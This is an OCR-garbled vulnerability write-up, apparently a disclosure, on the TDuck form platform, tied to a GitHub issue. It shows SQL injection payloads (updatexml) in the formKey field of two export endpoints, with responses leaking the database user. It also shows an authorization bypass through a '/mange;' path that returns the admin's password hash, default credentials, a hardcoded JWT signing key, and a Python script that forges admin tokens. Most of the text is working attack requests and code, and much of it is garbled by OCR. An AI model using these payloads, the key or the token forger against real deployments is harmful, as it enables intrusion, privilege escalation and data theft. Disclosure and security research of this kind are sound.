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ME#HE: https://github.com/TDuckCloud/tduck—platform
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payload sql JEANFE—T =


https://github.com/TDuckCloud/tduck-platform
https://github.com/TDuckCloud/tduck-platform/issues/22

1 POST /user/form/data/export?timestamp=1747842525010&s1gn=75f683039f6c14be4d
76319f08811d5b8 HTTP/1.1

2  Host: 192.168.152.154:8999

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, 1like Gecko) Chrome/136.0.0.0 Safari/537.36

4  token: eyJ0eXAi0iJKV1QiLCJhbGci0iJIUzUxMiJ9.eyJzdWIi0iIxIiwiaWF@OIjoxNzQ30D
QxXNTY5LCI1leHAiOjE3NDgONDYzNj19.-qH4XnnCAcIPItdu6sItpYdMuIljlY0eBfhJtcv2Zadh
KBFEIHrYJaiRTGInFQtRpxXkAz7eP6gAcYNGjnqg4_Pg

5 Referer: http://192.168.152.154:8999/project/form/data?key=Dvs9Je69

6  Accept-Encoding: gzip, deflate

7  Cookie: Hm_1lvt_4dbdbc5421c419844991878628d60f2f=1747841553; HMACCOUNT=7E70
F1AE6277E6B7; Hm_lpvt_4dbdbc5421c41984499f878628d60f2f=1747842470

8 Accept: application/json, text/plain, *x/*

9 Content-Type: application/json

10 Origin: http://192.168.152.154:8999

11  Accept-Language: zh-CN,zh;g=0.9

12 Content-Length: 370

13

14 = {

15 = "columns": [

16 "datel747842285159",
17 "serialNumber",

18 "extValue",

19 "updateBy",

20 "createBy",

21 "createTime",

22 "updateTime"

23 1,

24 "filename": "S_20250521234845",
25 "mode": "all",

26 "sheetName": "KR@&aE",
27 "type": "xlsx",

28 "currentPage": 0,

29 "pageSize": 10,

30 "total": 0,

31 "formKey": "MVWB25aE' or updatexml(1,concat(@x7e,user(),0x7e),1)="1",
32 "filter": {},

33 "checkboxIds": []

34}

35



|| HTTPS QO EE SEnplC | EHE127.001:108

< HoEEEE

£33 =D

758bytes / 24ms

e s QeSS

s €0

h & (R0

mcn B

A
b
i

1 POST-fuser/form/data/export >timestamp=174; ign= 14524763191 d5b8- HTTP/1.1 1 HITP/1.1-200
2 Host| :-192.168.152.154:5999 2 Vary:-origin,access-control-reguest-method,access-control-request-headers,accept-encoding
3 User-Agent: -Mozilla/5.@: (Windows-NT-18.9; -Win64;-x64) - AppleHebKit/537.36 (KHTHL, - 1ike-Gecko) - Chrome/136.6 3 Content-Type:-application/json
8.8-Safari/537.36 4 Date:-Wed,-21-May-2825-16:81:85-GHT
4 token:-eyJ@eXAi0iJKV1QiLCInbGei0iITUZUXMIIE . eyTzGWIE04TxT1wi aliFATIoxNZQ30DQKNTYSLCI1eHAIOEINDZBNDYZNI1S . 5  Content-Length: 772
~qHAXNnCACIPTEdLSSTEpYdMUTTV0RBFhI tcvZadhKBFETHRYIaiRTGINFQtRpxikAZ7ePEgAC YNGIngd_Pg &
5 Referer: nttp://192.168.152.154:8999/project/form/data>key=Dvsgle6g 7
6  Accept-Encoding: -gzip,-deflate 8 "code”:-500,
7 Cookie:-Hm_lvt 4dbdbc5421c41984499¢678628060F2F=1747841553; - HMACCOUNT=TE7OF 1AE6277E6BT; e msg” g : base. - -Cause:-java.sql.SQLException: - XPATH- syntax
tn_lpvt_4dbdbc5421c419844997878628d60F2F=1747842470 Errnrl *~root@172.18.8.3~" \n### 1he error -may-exist-in- com/tduck/cloud/form/mapper/
8  Accept:-application/json,-text/plain,-=/* ST AT 5s)\nese- The - error -may- involve- com. tduck. cloud. form.
9 Content-Type: -application/json mapper .UserFormDatallapper . selectRowsBySql-Inline\n###- The- error-occurred-while-setting
12 origin:-http://192.168.152.154:8999 parameters\n##z-SQL: - select-*-from-fm_user_form_data-unere-form_key- = 'HVWB25aE" -or
11  Accept-language: -zh-CN,zh;q=0.9 updatexml(1,concat(@x7e,user(),0x7e),1)="1"\n###-Cause; - java.sql.SQLException: - XPATH
12 Content-Length :-378 syntax-error: - '~ro0t@172.18.8.3~"\n; -uncategorized- SQLException; - SQL- state: [HY@0A] ;
13 error-code- [1165]; -XPATH- syntax-error: - '~root@172.18.0.3~" ;- nested -exception-is- java.sql.
14 v { SQLException: -XPATH- syntax-error: - "~root172.18.8.3~"",
15 |- -"columns": 10 “data”:-null
16 "date1747842285159" u 3
17 "serialNumber"”, 12
18 “extvalue”,
19 “updateBy”,
20 “createBy”,
21 “createTime",
2 “updateTime"
23 5
24 "filename": - "G, 20250521234845",
25 "mode”: - "all”,
26 "sheetName”: - "SRRy EiaE",
27 "type”: - "xlsx",
28 “currentPage”: -0,
29 "pageSize":-10,
30 "total":-e,
31 "formKey™: - "MVWB25aE ' -or ‘updatexml{1,concat(@x7e,user(),ex7e),1)="1",
32 "filtert: -{},
33 "checkboxIds": -[]
34} L
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POST /user/form/data/download/file?timestamp=1747843548735&s1ign=3655€2c508
c6c5dce@778b0ba9554a8c HTTP/1.1

Host: 192.168.152.154:8999

Accept-Language: zh-CN, zh;q=0.9

Accept: application/json, text/plain, */x*

Content-Type: application/json

token: eyJ0eXAi0iJKV1QiLCJIhbGci0iJIUzUxMiJ9.eyJzdWIiOiIxIiwiaWF@IjoxNzQ30D
QxXNTY5LCI1eHAiOjE3NDgONDYzNj19.-qH4XnnCAcIPItdu6sItpYdMuIljlY0eBfhJtcv2Zadh
KBFEIHrYJaiRTGInFQtRpxXkAz7eP6gAcYNGjnqg4_Pg

Origin: http://192.168.152.154:8999

Cookie: Hm_1lvt_4dbdbc5421c41984499f878628d60f2f=1747841553; HMACCOUNT=7E70
F1AE6277E6B7; Hm_1lpvt_4dbdbc5421c41984499f878628d60f2f=1747843527
User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36

Referer: http://192.168.152.154:8999/project/form/data?key=Dvs9Je69
Accept-Encoding: gzip, deflate

Content-Length: 144

- {

"authGroupId": null,

"formKey": "MVWB25aE' or updatexml(1l,concat(@x7e,user(),0x7e),1)="1",
"filter": {},

"size": null,

"current": null
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file?timestamp=1747843548735&s1gn=3655€2c508c6c5dce@778bOba9554a8c HTTP/1.1

tion/ison

KV1Q1LCY!

Content-Type: -appl
tok JaeXA eyJIzdWIi0iTxTiwialiFaIj

KBFEIHrYJaiRTGInFQtRp:t

DOXNTYSLCI 1eHAI0FE3NDg@NDYZNI19.
gAcYNGIng4_Pg

[ Y I QW

d6OF2f=1747841553; - HMACCOUNT=7E70F 1AEG277E6B7;
47843527
WinG4; -x64) -AppleebKit/537.36- (KHTHL, - 1ike-Gecko) - Chrome/136.0.

152.154:8999/project/form/data>key=Dvs9e69

XPATH- syntax-erro
yntax-error: -

{3
ull,
“current”: -null

} =

K80t
MRER B https://github.com/TDuckCloud/tduck—platform/issues/22

AU EEREE R 7E com.tduck.cloud.form.service.data.FormDataMysqglServicettsearch

MBI T, BMEREEANEESEHE sq T

@0verride
public FormDataTableV0 search(QueryFormResultRequest request) {

if (StrUtil.isBlank(request.getFormKey()) || !request.getFormKey().matches( 8")) {
return new FormDataTableVo();
StringBuilder sqlBuilder = new StringBuilder();
sqlBuilder.append(" act * from fn form_} = '").append(request.getFormKey()).append("'
StringBuilder whereBuilder = new StringBuilder();

ETEEBE— searchAll 5%, REMERM, thEMTSHHH %

@0verride
public List<Map> searchAll(QueryFormResultRequest request) {

List<UserFormDataEntity> userFormDataEntities = userFormDataMapper.selectRowsBySql(
return expandData(userFormDataEntities, i null);

WA, B usages, XN _ERFE sql =

request

public List<Map> searchAll(QueryFormResultRequest request)
return formDataBaseService.searchAll(request);



https://github.com/TDuckCloud/tduck-platform/issues/22

Method searchAll(QueryFormResultRequest)

¥ <« =20 [ 1 M B ProjectFiles v

UserFormDataServicelmpl.java 96  rows = formDataUtils.searchAll(request);

FormDataExportUtils.java rows = formDataUtils.searchAll(queryFormResultRequest);

&/ E— com.tduck.cloud.form.service.impl.UserFormDataServicelmpl#downloadFormResultFile

REER, current l size ZHEN null, TZHANIBIEE

@0verride
@ public Result downloadFormResultFile(QueryFormResultRequest request) {
String vuid = IdUtil.simpleUUID();

List<UserFormItemEntity> userFormItemEntitylList = userFormItemService.list(Wrappers. lambdaQuery() .eq(UserFormItemEntit

List<Map> rows =

if (ObjectUtil.isNull(request.getCurrent()) && ObjectUtil.isNull(request.getSize())) {
rows = formDataUtils.searchAll(request);

} elee {
FormDataTableV0 formDataTableVO = this.listFormDataTable(request);
rows = formDataTableV0.getRows();

[y

RIImER A com.tduck.cloud.api.web.controller.UserFormResultController##downloadFormResultFile

n request

@PostMapping (&~ "/ 08 5]

public Result downloadFormResultFile(@RequestBody QueryFormResultRequest request) {

return formResultService.downloadFormResultFile(request);

E&%E " com.tduck.cloud.form.util. FormDataExportUtils#exportData

XBEtHE—FES, mode EX MODE_ALL



exportRequest

©@SneakyThrows

@ public void exportData(ExportRequest.FormData exportRequest) {

QueryFormResultRequest queryFormResultRequest = new QueryFormResultRequest();

queryFormResultRequest.setFormKey(exportRequest.getFormKey());

queryFormResultRequest.setFilterFields(exportRequest.getColumns().toArray(new String[]1{}));

if (exportRequest.getMode().equals(MODE_CURRENT)) {
queryFormResultRequest.setCurrent(exportRequest.getCurrentPage());
queryFormResultRequest.setSize (exportRequest.getPageSize());

} else if (exportRequest.getMode().equals(MODE_SELECTED)) {
queryFormResultRequest.setDatalds(exportRequest.getCheckboxIds());

if (exportRequest.getMode().equals(MODE_ALL)) {
rowWs = tormuataUtils.searchALL(queryFormresuLTRequest);
} else {

FERXNMAIERN all

private final String MODE_ALL

X N B EH

@PostMapping (® rt")

public void exportFormData(@RequestBody ExportRequest.FormData exportRequest)

formDataExportUtils.exportData(exportRequest);

RPREGEII *1
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GET /mange;/user/page?pageNum=1&pageSize=10 HTTP/1.1

Host: 127.0.0.1:8999
Sec-Fetch-Site: same-origin
sec—ch-ua-platform: "macO0S"
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Dest: empty

Accept: application/json, text/plain, *x/x*
sec—ch-ua: "Chromium";v="136", "Google Chrome";v="136", "Not.A/Brand";v="9

9II

Referer: http://127.0.0.1:8999/project/recycle
Accept-Encoding: gzip, deflate, br, zstd

sec-ch-ua-mobile: 70
Sec-Fetch-Mode: cors

token: eyJ0eXAi0iJKV1QiLCJIhbGci0iJIUzUxMiJ9.eyJzdWIiOiIyIiwiaWF@IjoxNzQ30D
k5MTA4LCJI1eHAiOjE3NDgIMDM5MDh9.mipY 1B5tcbWIIoprz4gql7o0FLpUcGfo8ucMmNqUmP-ml
7DfRHI7bydyhd1J0__glgarU-KiDaiYg8toLTAzdK1Q

Cookie: Hm_1lvt_4dbdbc5421c41984499f878628d60f2f=1747898847; Hm_1lpvt_4dbdbc
5421c419844991878628d60f2f=1747898847; HMACCOUNT=1CF559C4F206F7EA
User—-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/53
7.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36

BIET] @

GET - /mange; /user/page?pageNum=1&pageSize=10 -HTTP/1.1

Host| :-127.0.0.1:8999

Sec-Fetch-Site: - same-origin

sec-ch-ua-platform: - "mac0S"

Accept-Language: -zh-CN, zh;q=0.9

Sec-Fetch-Dest: -empty

Accept: -application/json, -text/plain, -x/*

sec-ch-ua: - "Chromium";v="136", -"Google:Chrome";v="136", - "Not.A/
Brand";v="99"

Referer:-http://127.0.0.1:8999/project/recycle

Accept-Encoding: -gzip, -deflate, -br, -zstd

sec-ch-ua-mobile: - 70

Sec-Fetch-Mode: - cors

token: - eyJ0eXAi0iJKV1QiLCIhbGci0iJIUZzUXMiJ9.
eyJzdWIi0iIyIiwiaWFOIjoxNzQ30Dk5MTA4LCI1eHA10jE3NDgIMDM5MDNI.
mipY1B5tcbWIIoprz4ql7oFLpUcGfo8ucMmNqUmP-m17DfRHI7bydyhd1J0__glgarU-
KiDaiYg8toLTAzdK1Q

Cookie: ‘Hm_lvt_4dbdbc5421c419844991878628d60f21=1747898847;
Hm_1pvt_4dbdbc5421c419844991878628d60f2=1747898847;
HMACCOUNT=1CF559C4F206F7EA

User-Agent:-Mozilla/5.0: (Macintosh; - Intel-Mac-0S-X-10_15_7)
AppleWebKit/537.36 (KHTML, - like-Gecko) -Chrome/136.0.0.0-Safari/537.
36

945bytes [ 49ms

HTTP/1.1-200

Vary: -origin,access—-control-request-method,
access—control-request-headers,accept-encoding
Content-Type: -application/json

Date:  Thu, -22-May-2025-07:32:14-GMT
Content-Length:-1375

{

<

ElCR: o

© 2

<[> X Yaml 1R

""code": 200,
"msg":-null,
“data":-{
"records": - [
{
Mg il
"createTime": -"2021-06-13-13:49:25",
"updateTime": -"'2025-05-22-15:27:35",

"name": - "admin",

Havatartiies

"gender": -1,

"phoneNumber: -null,

"email": -"admin@tduckcloud.com",

"password":
"$2a$10$Fg0Tdkh3qVLE9DNgD4XzDu2PCJIB3QtnGhb riBPaMhMKT
VWMOXYsiIm",

"regChannel": -1,

"lastLoginChannel": -2,

"lastLoginTime": -"2025-05-22-15:27:35",
"lastLoginIp":-"172.19.0.1",
"deleted":-false,

"passwordType":-1,

"admin": -true

q

[REA, XE2 com.tduck.cloud.api.web.interceptor.Authorizationinterceptor#preHandle S#5%
requestURI M@ EFE /mange/ #1 /system/env/ , AILAER ; #H1T0E| URI, FHITINRSE



request.setAttribute(USER_KEY, userld);

if (StrUtil.containsAny(request.getRequestURI(),
if (!SecurityUtils.isAdmin(userId)) {
throw new AuthorizationException("7

¥

HAt?

ZRINIK S 2245
admin@tduckcloud.com/123456 &I AR

test@tduckapp.com/12345678 & i@ R

jwt BERES (F1F7E)

jwt key f6f31a5f2136758f86b67cde583cb125
RPN REISE, admin B userld £ 1

1 public String generateToken(long userId) {

2 Date nowDate = new Date();

3 / /i3 HAR 8]

4 Date expireDate = new Date(nowDate.getTime() + expire x 1000);
5

6 return Jwts.builder()

7 .setHeaderParam("typ", "JWT")

8 .setSubject(String.valueOf(userId))

9 .setIssuedAt(nowDate)

10 .setExpiration(expireDate)

11 .signWith(SignatureAlgorithm.HS512, secret)
12 .compact();

13}

AR jwt BIRIAS, k8 pip3 install pyjwt



import jwt
import datetime

# BE&
secret_key = "f6f31a5f2136758f86b67cde583ch125" # & {Rav%Z4H
expire_seconds = 604800 # <hEISHARTE (D) , 7 K

= def generate_token(user_id):

O 0O NO UL WN R

# I E
10 now = datetime.datetime.utcnow()
11 # T HARY(E]
12 expire = now + datetime.timedelta(seconds=expire_seconds)
13
14 # M IWT
15 = payload = {
16 "sub": str(user_id), # F& (FHFID)
17 "iat": now, # ZE&HTE
18 "exp": expire # iTHART[E]
19 }
20
21 token = jwt.encode(payload, secret_key, algorithm="HS512")
22 return token
23
24 ¢ BERAE
25 user_id = 1 # admin B9 id # 1
26  token = generate_token(user_id)
27  print("Generated IWT:", token)

RILTERFHN jwt ZEEBEMNEFFHTHIA, EFEFAFENEREERKN



